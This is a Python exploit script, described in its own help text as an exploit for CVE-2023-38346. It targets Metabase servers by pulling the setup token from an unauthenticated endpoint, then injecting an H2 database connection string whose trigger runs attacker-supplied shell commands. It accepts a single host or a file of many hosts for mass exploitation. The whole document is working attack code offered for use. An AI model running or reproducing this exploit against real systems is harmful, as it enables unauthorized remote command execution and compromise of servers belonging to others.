#!/usr/bin/env python3
# -*- coding:utf-8 -*-

import argparse
import requests
import base64
import logging

logging.basicConfig(level=logging.INFO,
                    format='[%(asctime)s.%(msecs)03d] [%(levelname)s] : %(message)s',
                    )


def check_host(host):
    if host is None:
        return False
    if len(host) > 0:
        return True
    else:
        return False


def exploit(host, port, cmd, protocol='http://'):
    global setup_token
    target = protocol + host + ':' + port
    logging.info(f'[+] Attacking {target} ...')
    url = target + '/api/session/properties'
    step_one = requests.get(url, verify=False)
    result = step_one.json()
    try:
        setup_token = result['setup-token']
    except KeyError as e:
        logging.error("setup-token missed")
        exit(0)
    logging.debug(f'[+] setup-token={setup_token}')

    check_url = target + '/api/setup/validate'
    response = requests.post(check_url, timeout=3,
                             verify=False,
                             json={
                                 "token": setup_token,
                                 "details": {
                                     "is_on_demand": False,
                                     "is_full_sync": False,
                                     "is_sample": False,
                                     "cache_ttl": None,
                                     "refingerprint": False,
                                     "auto_run_queries": True,
                                     "schedules": {},
                                     "details": {
                                         "db": "zip:/app/metabase.jar!/sample-database.db;MODE=MSSQLServer;TRACE_LEVEL_SYSTEM_OUT=1\\;CREATE TRIGGER pwnshell BEFORE SELECT ON INFORMATION_SCHEMA.TABLES AS $$//javascript\njava.lang.Runtime.getRuntime().exec('bash -c {echo,%s}|{base64,-d}|{bash,-i}')\n$$--=x"
                                               % cmd,
                                         "advanced-options": False,
                                         "ssl": True,
                                     },
                                     "name": "an-sec-research-team",
                                     "engine": "h2",
                                 },
                             }
                             )
    logging.debug(f'[+] Server response: {response.text}')
    logging.info(f'[+] Server resp code: {response.status_code}')


if __name__ == '__main__':
    parser = argparse.ArgumentParser(description='exp for cve-2023-38346')
    parser.add_argument('--protocol', type=str, default='http', help='输入目标协议，http或https')
    parser.add_argument('--host', help='输入目标ip')
    parser.add_argument('--port', default='3000', help='输入目标端口，默认为 3000')
    parser.add_argument('--file', help='输入包含目标的文件')
    parser.add_argument('--cmd', type=str, required=True, help='输入目标ip')

    args = parser.parse_args()
    protocol = args.protocol
    if ':' not in protocol:
        protocol = protocol + '://'
    cmd = str(args.cmd)
    cmd_len = len(cmd)
    if cmd_len % 3 == 0:
        pass
    elif cmd_len % 3 == 1:
        cmd = cmd + '  '
    elif cmd_len % 3 == 2:
        cmd = cmd + ' '
    b64_cmd = base64.b64encode(cmd.encode()).decode()

    host_file = args.file
    if host_file:
        with open(host_file, 'r') as f:
            for temp_host in f:
                temp_host = temp_host.rstrip('\n')
                if '://' in temp_host:
                    protocol = temp_host.split('://')[0] + '://'
                if ':' in temp_host:
                    host = temp_host.split(':')[0]
                    port = temp_host.split(':')[1]
                else:
                    host = temp_host
                    port = '3000'
                try:
                    if check_host(host):
                        exploit(host, port, b64_cmd, protocol)
                except Exception as e:
                    print(f'[-] Connection error:\n{e}')
                    continue

    else:
        host = args.host
        port = args.port

        try:
            if check_host(host):
                exploit(host, port, b64_cmd, protocol)
        except Exception as e:
            logging.error(f'[-] Connection error:\n{e}')
